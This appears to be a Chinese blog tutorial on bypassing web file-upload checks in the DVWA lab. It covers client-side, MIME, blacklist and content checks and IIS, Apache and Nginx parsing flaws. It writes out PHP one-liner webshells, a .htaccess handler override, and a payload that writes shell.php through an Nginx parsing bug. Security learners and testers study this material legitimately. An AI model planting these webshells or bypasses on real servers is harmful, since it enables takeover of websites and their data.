首页 > 其他分享 >文件上传实战和分析

文件上传实战和分析

时间:2023-09-03 19:35:32浏览次数:31  
标签:实战 文件 asp 解析 绕过 php 上传

1 前言

通常再一个web程序中,一般会存在登陆注册功能,登陆后一般会有上传头像等功能,如果上传验证不严格就可能造成恶意第三方直接上传马,进而控制整个web业务控制权。下面通过实例,如果程序只进行了客户端JavaScript检测,咱们如何来绕过。

2 正文

2.1 客户端后缀检测

工具准备:DVWA程序,burpsuite,中国菜刀。首先本地创建一个.txt文档,里面写入一句话马,然后将后缀名改为.php,一句话马为

<?php eval($_POST[-7]);?>      //连接菜刀的密码为-7

然后打开DVWA程序,将安全模式改为medium(中级),点击 File Upload模块,然后将刚才创建的一句话.php文件上传,然后咱们发现被阻止了,只允许上传JPEG和PNG两种格式。

文件上传实战和分析_web安全

接下来。咱们将写入一句话的文件,后缀改为.png格式,然后通过burpsuite抓包

文件上传实战和分析_php_02

然后发现,放行后,文件成功上传

文件上传实战和分析_php_03

然后去根目录找一找,果然找到了上传的文件

文件上传实战和分析_上传_04

接下来,打开中国菜刀,输入上传马的路径,输入密码,发现获取到目标网站的webshell

文件上传实战和分析_web安全_05

2.2 服务端MIME类型检测绕过

检测原理:用户上传文件时,服务器会获取这个文件的MIME值,与事先设置好的进行比对,如果不一致,说明上传文件非法。查看一下源代码,代码来源与DVWA

<?php

if( isset( $_POST[ 'Upload' ] ) ) {

    // Where are we going to be writing to?

    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];

    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];

    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?

    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&

        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?

        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {

            // No

            echo '<pre>Your image was not uploaded.</pre>';

        }

        else {

            // Yes!

            echo "<pre>{$target_path} succesfully uploaded!</pre>";

        }

    }

    else {

        // Invalid file

        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';

    }

}

?>

通过分析第16行代码可以知道,我们将content-type 值改为image/jpeg,image/png,就可以绕过,因为页面不显示,需要通过抓包工具进行修改。

文件上传实战和分析_上传_06

2.3 服务端文件扩展名检测绕过

2.3.1 黑名单检测绕过

在我们的web程序中,一般有个blacklist文件,里面会包含常见的危险脚本文件,不过这种黑名单相当不靠谱,一般会包含下图这些。可以使用各种方法绕过。

文件上传实战和分析_php_07

(1)文件大小写绕过

只要把后缀改为 pHp,Asp等就可以尝试绕过。

(2)名单列表绕过

可以尝试使用黑名单没有的一些后缀名,如 asa cer 等等

(3)特殊文件名绕过

可使用 xxx.asp. 或者 xxx.asp_ 等等,这样的命名方式,再Windows系统里是不行的,需要抓包修改。绕过验证后,Windows系统会自动去掉下滑线等。需要注意的是Unix和Linux没有这种特性,因为他们不区分大小写。

(4)0x00 截断绕过

这里的00对应的是16进制里面的,相当于一个空格,当系统读取到设置的那里就会停止向下读取。实现目的。比如上传php.php.png 文件,里面包含一句话马,只需要将第二个小黑点改为空格,也就是将16进制的2e 改为00

文件上传实战和分析_上传_08

(5) .htaccess文件

这个就比较邪恶了,如果可以上传.htaccess文件的话,文件里面输入如下内

<FilesMatch "shuaige">
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传一个文件,不需要后缀名,文件名没要求,需要注意的是这个文件不仅要包含一句话马,还要有.htaccess里面的"shuaige" ,之后通过菜刀连接就可以了。

文件上传实战和分析_php_09

3.2 白名单检测绕过

白名单相对于黑名单安全很多,方法相对也较少,可以尝试.htaccess上传。

2.4 服务端文件内容检测绕过

如果对文件内容检测较为严格,可以在图片中插入一句话马,如果手工插的话可能破坏图片结构,推荐使用工具插入,比如 edjpgcom ,只需要将托向它,它会弹出一个框框,在里面输入一句话马就可以了。工具需要的自行下载。工具只支持 jpg格式的图片拖入后,写入一句话马,记事本打开图片查看,发现完美插入图片中

文件上传实战和分析_上传_10

2.5 解析漏洞

(1) IIS5.x-6.x解析漏洞

这个比较古老了,这个解析漏洞只能解析.asp文件,对aspx没办法。

  • 目录解析

在服务器中,如果有个.asp后缀的目录,此目录下的任何格式,都会以.asp脚本执行,如

http://www.hahaha.com/haha.asp/ha.png
  • 文件解析

如果在一个文件asp后缀加一个分号,在接.png 上传成功后,服务器解析分号前就会停止解析,就说明ha.asp;.png会当做ha.asp文件执行  

http://www.hahaha.com/ha.asp;.png
  • 解析文件类型

IIS6.0 默认的可执行文件有asp、asa、cer、cdx四种。

(2)  Apache解析漏洞

Apache解析文件的顺序是从右向左,如果右边的格式它不认识,就会依次向左判断,如果一个文件名为 xxx.php.rar.zip,因为Apache 不认识“rar”和“zip”,所以文件最后会以xxx.php执行。

http://www.hahaha.com/ha.php.rar.zip

(3)  Nginx解析漏洞

  • Nginx中php配置错误导致的解析漏洞

我们来构造一个URL  ,xxx/123.png/456.php(456.php是咱们瞎写的,里面没内容,马在123.png里面,Nginx一看后缀是php,就交给php处理了,php处理发现456.php没有,删掉这个继续向前解析,然后会将咱们的123.png执行(php比较老的版本才会执行)

这其中涉及到php的一个选项:cgi.fix_pathinfo,它默认是开启的,看名字就知道这是和文件路径有关,举个例子,111.php/222.php/333.php/,如果它找不到这个文件,会去掉最后333.php,执行111.php/222.php 如果没有,继续刚才的操作。

这个选项可以在配置文件php.ini中关闭,但是关闭可能会遇到各种问题,所以在后来的新版的php中,引入了“security.limit_extensions”,他的功能是默认只执行.php文件,所以在现在的版本php版本中,基本很难被利用了。

  • Nginx(<8.03)畸形解析漏洞

在默认FAST-GGI开启情况下,我们上传一个xxx.jpg的文件,里面代码如下

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问xxx.jpg/.php,在这个目录下就会生成 shell.php

  • Nginx(<8.03) 空字节代码执行漏洞

这个也是在图片中插入代码,并且命名为xxx.jpg ,直接访问 xxx.jpg%00.php来执行其中的代码。

最后,这里有一个流程图,测试的时候可以按照这个思路走。

文件上传实战和分析_后缀_11

3 总结

1. 找到文件上传点,测试发现存在上传漏洞。

2. 发现只进行了客户端JavaScript检测以及服务端检测和解析漏洞。

3. 通过burpsuite 抓包,修改文件后缀名绕过检测和白黑名单绕过,上传一句话马。

4. 通过中国菜刀进行连接

5. 获取到目标网站webshell

标签:实战,文件,asp,解析,绕过,php,上传
From: https://blog.51cto.com/u_14881360/7342167

相关文章

  • 什么是 JMX?(Trino JMX 实战讲解)
    目录一、概述二、JMX原理三、实战操作(开启TrinoJMX)1)环境部署2)开启TrinoJMX1、配置config.properties2、配置jvm.config3、重新启动服务4、获取监控数据3)通过jconsole连接JMX4)常用的Trino指标接口和指标一、概述JMX是JavaManagementExtensions(Java管理扩展)的缩......
  • 大数据实战-Hive-技巧实战_2LgaeiFwLs7mCTwG5T3c9M
    大数据实战-Hive-技巧实战_2LgaeiFwLs7mCTwG5T3c9M大数据实战-Hive-技巧实战1.union和unionall前者可以去重selectsex,addressfromtestwheredt='20210218'unionallselectsex,addressfromtestwheredt='20210218';+------+----------+--+|sex|address|......
  • 如何将项目打包上传到NuGet服务器?
    作者:西瓜程序猿主页传送门:https://www.cnblogs.com/kimiliucn前言在我写[在.NETFramework中使用RocketMQ(阿里云版)]这篇博客的时候,因为封装了很多代码在单独的DLL中,包括生产者、消费者以及官方SDK等等,然后都在博客中体现出来导致博客大量代码,然后有位读者就建议打包成NuG......
  • img文件如何安装在虚拟机内?看这里↓↓↓
    一、安装qemu软件(qemu下载)二、确认软件是否安装成功安装qemu后,打开cmd检测是否安装成功,切换至安装目录下,输如以下命令出现如下版本信息,则表示安装成功!三、将img文件转换为vmdk开始转换img文件,首先确定img文件位置打开cmd,切换至qemu安装目录输入如下命令.\qemu-img.execonvert......
  • # yyds干货盘点 # 盘点一个Pandas处理Excel数据的实战案例
    大家好,我是皮皮。一、前言前几天在Python最强王者群【小马哥】问了一个Python自动化办公处理的问题,一起来看看吧。三更睡五更起,阎王夸你好身体,粉丝凌晨2-3点在群里发问。各位大佬,我又有个excel程序问题来求助了,请看下方这个excel文档,里面写了两个备注,麻烦帮忙解决一下吧,谢谢下图......
  • 文件描述符限制,macos和linux
    macOS和Linux在文件描述符限制上存在不同的默认设置,这就是为什么您看到在相同的代码在两个操作系统上显示不同的数字。让我们来解释一下原因:macOS(BSD-like系统):默认情况下,macOS(以及其他基于BSD的操作系统)限制每个进程可以同时打开的文件描述符数量为256。这个限制是macOS......
  • bat脚本打开文件或者启动程序
    注意文件后缀改成bat,文件保存的时候注意下文件另存为别的格式(字符编码改一下),不然识别不了里面的中文汉字@echooffstartE:\DISK\document\windowsSoftware\xubojavaxiangmustartE:\DISK\document\windowsSoftware\xubojavaxiangmu\IT\26-谷粒学院项目练习 @echooffs......
  • linux profile 配置文件
    用的zsh,在$HOME下添加了.profile发现没有生效新的思路如下:在/etc/profile.d下创建新文件userProfile.shif[[-e$HOME/.profile]];thensource$HOME/.profilefi在$HOME下添加.profile如此一来不管是zsh还是bash都会加载$HOME/.profile不依赖于shell了alia......
  • ubuntu宿主机和centos7虚拟机如何基于samba共享文件夹
    理论介绍要在Ubuntu宿主机和CentOS虚拟机之间设置基于Samba的文件夹共享,您可以按照以下步骤进行操作:在Ubuntu宿主机上:安装Samba服务器软件:sudoaptupdatesudoaptinstallsamba```````编辑Samba配置文件:sudonano/etc/samba/smb.conf```````在文件末尾添加以下内容来定义......
  • 《C++并发编程实战》读书笔记(2):线程间共享数据
    1、使用互斥量在C++中,我们通过构造std::mutex的实例来创建互斥量,调用成员函数lock()对其加锁,调用unlock()解锁。但通常更推荐的做法是使用标准库提供的类模板std::lock_guard<>,它针对互斥量实现了RAII手法:在构造时给互斥量加锁,析构时解锁。两个类都在头文件<mutex>里声明。std::......